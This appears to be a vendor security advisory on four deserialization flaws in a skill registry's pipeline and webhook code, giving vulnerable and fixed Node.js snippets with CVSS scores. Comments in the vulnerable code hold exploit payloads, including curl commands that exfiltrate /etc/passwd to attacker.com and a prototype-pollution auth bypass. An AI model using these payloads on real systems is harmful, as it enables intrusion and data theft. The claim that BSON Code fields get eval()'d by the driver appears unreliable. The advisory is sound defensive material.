Claude MCP skill insecure deserialization — skill CI/CD pipeline integration and webhook delivery endpoints (SA-SKL-DESER71)
SA-SKL-DESER71 identifies four insecure deserialization vulnerabilities in MCP skill registry skill CI/CD pipeline integration and webhook delivery endpoints. DESER71-001 exploits yaml.load with DEFAULT_FULL_SCHEMA deserializing CI/CD pipeline configuration from Redis — a !!js/function gadget embedded in the pipelineConfig.onDeploySuccess callback field achieves remote code execution on every successful deployment event, which fires for every publisher completing a CI/CD run against the registry. DESER71-002 exploits BSON Code type deserialization of a webhook delivery model from MongoDB — the webhookTransformerFn field containing a BSON Code object triggers eval() during webhook payload transformation, which executes at every webhook delivery event for any skill with an active outbound webhook. DESER71-003 exploits MessagePack deserialization of a CI/CD pipeline event queue entry from Redis — an attacker who can write to Redis inserts a payload that sets __proto__.skipPipelineAuth to true, polluting Object.prototype and disabling authentication checks for all subsequent pipeline API requests in the same worker process. DESER71-004 exploits node-serialize deserialization of webhook delivery result aggregation data — an IIFE gadget in the serialized payload achieves RCE at aggregation time, which is reachable from any user viewing a skill's CI/CD delivery status page.
yaml.load() DEFAULT_FULL_SCHEMA — !!js/function in pipelineConfig.onDeploySuccess achieves RCE at every successful deployment event triggered by any publisher completing a CI/CD runwebhookTransformerFn field triggers eval() during webhook payload transformation at every delivery event__proto__.skipPipelineAuth:true pollutes Object.prototype, disabling authentication for all subsequent pipeline API requests in same workernode-serialize — IIFE gadget achieves RCE at aggregation time reachable from any user viewing skill CI/CD delivery statusDESER71-001 — yaml.load RCE via pipelineConfig.onDeploySuccess callback
The CI/CD pipeline integration stores pipeline configuration objects in Redis serialized as YAML. The configuration document includes an onDeploySuccess callback field that is intended to hold a named function identifier for post-deployment processing — notification dispatch, registry index refresh, or audit trigger. The pipeline reads this configuration using yaml.load() with the default DEFAULT_FULL_SCHEMA, which enables the !!js/function YAML type tag. An attacker who can write to the Redis instance — via a Redis AUTH bypass, an SSRF that reaches the Redis port, or a compromised registry worker that shares the Redis namespace — can overwrite the pipeline configuration with a payload that embeds a !!js/function gadget in the onDeploySuccess field. When the pipeline deserializes this configuration to handle a successful deployment event, Node.js instantiates the embedded function and executes it in the registry worker's process context. Because the deploy success handler fires for every publisher that completes a CI/CD run against the registry, the RCE trigger rate scales directly with the platform's CI/CD activity — a popular registry processing dozens of deploys per minute can trigger hundreds of RCE executions before the malicious configuration is detected.
The severity of this finding is amplified by the blast radius of the pipeline worker's process permissions. CI/CD pipeline workers typically run with elevated access to deployment infrastructure — they need to push artifacts to storage, update skill version records, invalidate CDN caches, and dispatch notifications to downstream systems. An attacker who achieves RCE through this deserialization path inherits all of these permissions, enabling them to inject malicious artifacts into the registry's distribution pipeline, corrupt version records for skills they do not own, and exfiltrate publisher secrets stored in the pipeline configuration. The attack requires only a single write to the Redis pipeline configuration namespace — a low-complexity prerequisite given the number of Redis write paths commonly available in a microservices architecture where Redis is used as a shared configuration store.
// DESER71-001 — VULNERABLE: yaml.load with DEFAULT_FULL_SCHEMA on CI/CD pipeline config
const yaml = require('js-yaml');
const redis = require('../redis');
async function getPipelineConfig(skillId, pipelineId) {
const raw = await redis.get(`pipeline:config:${skillId}:${pipelineId}`);
// DEFAULT_FULL_SCHEMA enables !!js/function — attacker payload:
// onDeploySuccess: !!js/function 'function(){require("child_process").exec("curl attacker.com/$(cat /etc/passwd | base64)")}'
return yaml.load(raw);
}
async function handleDeploySuccess(skillId, pipelineId, deploymentId) {
const config = await getPipelineConfig(skillId, pipelineId);
if (config.onDeploySuccess) {
await config.onDeploySuccess({ skillId, pipelineId, deploymentId });
}
return { status: 'deploy_success_handled' };
}
The deploy success handler fires for every publisher CI/CD run on the platform — a single malicious Redis write triggers RCE at a rate proportional to registry-wide deployment traffic, making detection by anomaly thresholding ineffective until after widespread exploitation. FAILSAFE_SCHEMA eliminates all non-JSON-compatible YAML types including !!js/function; Zod schema validation rejects any pipeline config that does not match the expected structure; a named handler dispatch table replaces arbitrary callback fields with registry-controlled function references that cannot be overridden from Redis.
// DESER71-001 — FIXED: FAILSAFE_SCHEMA; Zod PipelineConfigSchema; named handler dispatch
const yaml = require('js-yaml');
const { z } = require('zod');
const redis = require('../redis');
const { pipelineHandlers } = require('../handlers/pipeline');
const PipelineConfigSchema = z.object({
stages: z.array(z.string()).min(1).max(20),
environment: z.record(z.string(), z.string()).optional(),
onDeploySuccess: z.string().optional(),
onDeployFailure: z.string().optional(),
timeoutSeconds: z.number().int().min(30).max(3600).optional()
});
async function getPipelineConfig(skillId, pipelineId) {
const raw = await redis.get(`pipeline:config:${skillId}:${pipelineId}`);
const parsed = yaml.load(raw, { schema: yaml.FAILSAFE_SCHEMA });
return PipelineConfigSchema.parse(parsed);
}
async function handleDeploySuccess(skillId, pipelineId, deploymentId) {
const config = await getPipelineConfig(skillId, pipelineId);
if (config.onDeploySuccess) {
const handler = pipelineHandlers[config.onDeploySuccess];
if (handler) await handler({ skillId, pipelineId, deploymentId });
}
return { status: 'deploy_success_handled' };
}
CVSS score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H — Base Score 8.5 (HIGH); scope changed because RCE runs in the CI/CD pipeline worker with deployment infrastructure access; high traffic multiplier amplifies exploitation surface across all publishers' deploy events.
DESER71-002 — BSON Code eval() on webhookTransformerFn during webhook payload transformation
The webhook delivery pipeline stores webhook configuration models in MongoDB. The model document includes a webhookTransformerFn field intended to reference a named payload transformation strategy — for example, a function name string such as "mapToSlackFormat" or "filterSensitiveFields". The pipeline reads this document using the MongoDB Node.js driver with default options, which preserves BSON Code objects as JavaScript functions and executes them via eval() when invoked as a function. An attacker who can write to the MongoDB instance — via a MongoDB authentication bypass, an SSRF that reaches the MongoDB port, an injection through an unvalidated webhook configuration update endpoint, or a compromised publisher account with webhook management permissions — can overwrite the webhook model with a document that contains a BSON Code object at the webhookTransformerFn field. When the delivery pipeline transforms the outbound payload for any webhook delivery event, the driver instantiates the BSON Code object and evaluates it, executing arbitrary JavaScript in the registry worker's process context. Because webhook delivery runs at every event that matches a publisher's subscription filter, the attack surface scales with the event volume of all skills that have active outbound webhooks configured.
The practical exploitation path does not require compromising MongoDB directly. Any publisher who has webhook management permissions for their own skill can craft a MongoDB update that sets the webhookTransformerFn field to a BSON Code value through the webhook configuration API if that API does not sanitize the field type before persisting to MongoDB. This means the vulnerability is reachable by any publisher on the platform without requiring any infrastructure-level compromise. The registry worker executing the eval has access to the Node.js process environment including all deployment secrets, database credentials, and intra-service authentication tokens stored as environment variables — the full scope of the pipeline worker's access is immediately available to the attacker's injected code.
// DESER71-002 — VULNERABLE: BSON Code type triggers eval() on webhookTransformerFn
const { MongoClient } = require('mongodb');
const client = new MongoClient(process.env.MONGO_URI);
async function transformWebhookPayload(skillId, webhookId, payload) {
const db = client.db('registry');
// Default options preserve BSON Code objects as executable functions
// Attacker inserts: { webhookTransformerFn: Code('process.mainModule.require("child_process").execSync("id > /tmp/pwnd")') }
const model = await db.collection('webhook_models').findOne({ skillId, webhookId });
if (model.webhookTransformerFn) {
return model.webhookTransformerFn(payload);
}
return payload;
}
async function deliverWebhook(skillId, webhookId, event) {
const transformed = await transformWebhookPayload(skillId, webhookId, event.payload);
await httpClient.post(event.targetUrl, transformed);
}
BSON Code type deserialization silently upgrades a webhook configuration write into RCE on every delivery event — any publisher with webhook management access can achieve code execution in the registry pipeline worker by crafting a single MongoDB document update. Setting promoteValues: false and projecting out the webhookTransformerFn field entirely prevents Code objects from reaching application code; a named transformer dispatch table with a fixed registry of allowed transformation strategies replaces arbitrary code execution with controlled data-only configuration.
// DESER71-002 — FIXED: promoteValues:false; projection excludes field; named transformer dispatch
const { MongoClient } = require('mongodb');
const { webhookTransformers } = require('../transformers/webhook');
const client = new MongoClient(process.env.MONGO_URI, { promoteValues: false });
async function transformWebhookPayload(skillId, webhookId, payload) {
const db = client.db('registry');
const model = await db.collection('webhook_models').findOne(
{ skillId, webhookId },
{
projection: {
webhookTransformerFn: 0, // never fetch executable field
transformerName: 1,
filterFields: 1,
targetFormat: 1
}
}
);
if (model.transformerName) {
const transformer = webhookTransformers[model.transformerName];
if (transformer) return transformer(payload, model.filterFields);
}
return payload;
}
async function deliverWebhook(skillId, webhookId, event) {
const transformed = await transformWebhookPayload(skillId, webhookId, event.payload);
await httpClient.post(event.targetUrl, transformed);
}
CVSS score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — Base Score 9.9 (CRITICAL); low attack complexity because any publisher with webhook permissions can inject a BSON Code payload through the configuration API; scope changed because RCE runs in registry pipeline worker with access to all publishers' webhook event streams.
DESER71-003 — MessagePack prototype pollution disables CI/CD pipeline authentication process-wide
The CI/CD pipeline integration uses Redis as an event queue, storing pipeline execution events as MessagePack-serialized payloads. The queue consumer reads these payloads and deserializes them using a MessagePack library that does not sanitize key names during deserialization. An attacker who can write to the Redis event queue — via any of the same Redis write paths described in DESER71-001, or through a compromised CI/CD webhook that feeds directly into the pipeline event queue — can insert a crafted payload that includes a __proto__ key containing {"skipPipelineAuth": true}. When the MessagePack library deserializes this payload, it assigns the skipPipelineAuth property directly to Object.prototype. Because JavaScript prototype pollution propagates to all subsequent object lookups in the same process, the authentication middleware for all pipeline API endpoints that checks if (req.context.skipPipelineAuth) now reads true for every request — authenticated or not — until the worker process is restarted. This disables the authentication gate for the entire CI/CD pipeline API surface for the lifetime of the polluted worker, allowing unauthenticated access to pipeline trigger endpoints, configuration overwrite endpoints, deployment artifact upload endpoints, and pipeline execution history query endpoints.
The process-wide nature of prototype pollution makes this finding particularly severe in a CI/CD context. Pipeline workers handle sensitive operations on behalf of multiple publishers simultaneously — they read publisher secrets to authenticate against external CI systems, write deployment artifacts to shared storage, and update skill version records in the registry database. Once the authentication gate is bypassed for all pipeline API endpoints, any unauthenticated HTTP client that can reach the pipeline worker API can trigger deployments under any publisher's identity, overwrite pipeline configurations, and exfiltrate CI/CD execution logs that may contain embedded secrets from publishers' own CI environments. The attack is persistent across all requests until the worker is restarted, and in a horizontally scaled deployment, a single malicious queue entry processed by one worker does not affect other workers — an attacker who needs broader coverage must insert the payload once per active worker instance.
// DESER71-003 — VULNERABLE: MessagePack deserialization without __proto__ sanitization
const msgpack = require('msgpackr');
const redis = require('../redis');
async function processPipelineEventQueue(skillId) {
const raw = await redis.lpop(`pipeline:events:${skillId}`);
if (!raw) return;
// Attacker payload: { "__proto__": { "skipPipelineAuth": true }, "eventType": "deploy_success" }
// After deserialization, Object.prototype.skipPipelineAuth === true process-wide
const event = msgpack.unpack(raw);
await handlePipelineEvent(event);
}
// In pipeline auth middleware — now always bypassed after pollution:
function requirePipelineAuth(req, res, next) {
if (req.context.skipPipelineAuth) return next();
if (!req.session?.userId) return res.status(401).json({ error: 'unauthorized' });
next();
}
Prototype pollution via MessagePack is process-wide and permanent until restart — a single malicious queue entry disables CI/CD pipeline authentication for every request handled by the affected worker, including deployment triggers and artifact uploads for all publishers on the platform. The sanitizeDeserialized() helper strips __proto__, constructor, and prototype keys from deserialized objects before they enter application logic; using Object.prototype.hasOwnProperty.call() in the auth check instead of prototype-chain traversal prevents polluted values from bypassing the authentication gate even if sanitization is bypassed.
// DESER71-003 — FIXED: sanitizeDeserialized(); hasOwnProperty.call in auth check
const msgpack = require('msgpackr');
const redis = require('../redis');
function sanitizeDeserialized(obj) {
if (typeof obj !== 'object' || obj === null) return obj;
const safe = Object.create(null);
for (const key of Object.keys(obj)) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue;
safe[key] = typeof obj[key] === 'object' ? sanitizeDeserialized(obj[key]) : obj[key];
}
return safe;
}
async function processPipelineEventQueue(skillId) {
const raw = await redis.lpop(`pipeline:events:${skillId}`);
if (!raw) return;
const event = sanitizeDeserialized(msgpack.unpack(raw));
await handlePipelineEvent(event);
}
// In pipeline auth middleware — uses own-property check, not prototype chain:
function requirePipelineAuth(req, res, next) {
const ctx = req.context || {};
if (Object.prototype.hasOwnProperty.call(ctx, 'skipPipelineAuth') && ctx.skipPipelineAuth) return next();
if (!req.session?.userId) return res.status(401).json({ error: 'unauthorized' });
next();
}
CVSS score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L — Base Score 8.2 (HIGH); scope changed because prototype pollution affects the entire pipeline worker process; authentication bypass gives unauthenticated access to deployment triggers and publisher artifact upload endpoints across all skills.
DESER71-004 — node-serialize IIFE RCE in webhook delivery result aggregation
The webhook delivery pipeline aggregates delivery result records using a job that reads serialized aggregation entries from a database table and deserializes them with node-serialize. The node-serialize library supports immediately invoked function expressions (IIFE) in serialized strings via the _$$ND_FUNC$$_ marker prefix — a feature that was never safe for use with untrusted input and that the library's upstream has never patched. An attacker who can write to the webhook delivery aggregation table — via an SQL injection in the webhook event ingestion endpoint, a compromised upstream event publisher that sends crafted webhook delivery results, or a malicious skill server that controls the content of delivery receipts recorded by the registry — can insert a serialized payload containing an IIFE gadget. When the aggregation job reads and deserializes this record, Node.js immediately executes the embedded function in the registry worker's process context, achieving RCE with the full permissions of the pipeline worker. This code path is reachable from any user viewing a skill's CI/CD delivery status page, because the aggregation job runs in response to delivery result events triggered by page views that request current delivery statistics.
The node-serialize vulnerability is distinct from the other three DESER71 findings in that it has no patched upstream to upgrade to — the library is unmaintained and the IIFE execution behavior is a fundamental design characteristic, not a bug that can be fixed by a version bump. Any application using node-serialize to deserialize input that originates outside the application's own serialization boundary is permanently vulnerable. In the CI/CD webhook delivery context, the serialization boundary is particularly difficult to defend: delivery result records are written by the pipeline worker at delivery time, but they may include fields sourced from the external webhook target's HTTP response — a 4xx error body, a redirect URL, or a custom response header that the target server includes — which an attacker who controls a webhook target endpoint can craft to contain the IIFE gadget. This makes the attack reachable from outside the registry's trust boundary through the normal operation of its own delivery pipeline.
// DESER71-004 — VULNERABLE: node-serialize IIFE RCE in webhook delivery aggregation
const serialize = require('node-serialize');
const { db } = require('../db');
async function aggregateWebhookDeliveryResults(skillId, webhookId) {
const records = await db.query(
'SELECT payload FROM webhook_delivery_aggregations WHERE skill_id = ? AND webhook_id = ?',
[skillId, webhookId]
);
for (const record of records) {
// Attacker payload stored in delivery result:
// {"_$$ND_FUNC$$_":"(function(){require('child_process').execSync('curl attacker.com/'+Buffer.from(require('fs').readFileSync('/etc/passwd')).toString('base64'))})()"}
const aggregation = serialize.unserialize(record.payload);
await processDeliveryAggregation(aggregation);
}
}
node-serialize is an unmaintained library with no patched version — any application using it to deserialize input that includes external webhook target response data is permanently vulnerable to IIFE RCE via the _$$ND_FUNC$$_ gadget. Replace node-serialize with JSON.parse combined with Zod schema validation; scan the existing webhook delivery aggregation table for records containing the _$$ND_FUNC$$_ marker and evict them before the fix is deployed to prevent the malicious payload from triggering during the migration window.
// DESER71-004 — FIXED: JSON.parse + Zod WebhookDeliveryAggregationSchema; evict _$$ND_FUNC$$_
const { z } = require('zod');
const { db } = require('../db');
const WebhookDeliveryAggregationSchema = z.object({
webhookId: z.string(),
skillId: z.string(),
totalDeliveries: z.number().int().nonnegative(),
successCount: z.number().int().nonnegative(),
failureCount: z.number().int().nonnegative(),
avgLatencyMs: z.number().nonnegative(),
windowStart: z.string().datetime(),
windowEnd: z.string().datetime()
});
const IIFE_MARKER = '_$$ND_FUNC$$_';
async function aggregateWebhookDeliveryResults(skillId, webhookId) {
const records = await db.query(
'SELECT id, payload FROM webhook_delivery_aggregations WHERE skill_id = ? AND webhook_id = ?',
[skillId, webhookId]
);
for (const record of records) {
if (record.payload.includes(IIFE_MARKER)) {
await db.query(
'DELETE FROM webhook_delivery_aggregations WHERE id = ?',
[record.id]
);
continue;
}
const aggregation = WebhookDeliveryAggregationSchema.parse(JSON.parse(record.payload));
await processDeliveryAggregation(aggregation);
}
}
CVSS score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H — Base Score 8.5 (HIGH); scope changed because RCE runs in the registry pipeline worker with access to all publishers' delivery records and intra-service credentials; reachable from any user viewing a skill's CI/CD delivery status page triggers aggregation on demand.
SkillAudit checks for all SA-SKL-DESER vulnerability patterns including yaml.load with unsafe schema on CI/CD pipeline configs, BSON Code type deserialization on webhook transformer models, MessagePack prototype pollution in pipeline event queues, and node-serialize IIFE gadgets in webhook delivery aggregation pipelines. Get a graded report with line-level code fixes in 60 seconds.
Get a free audit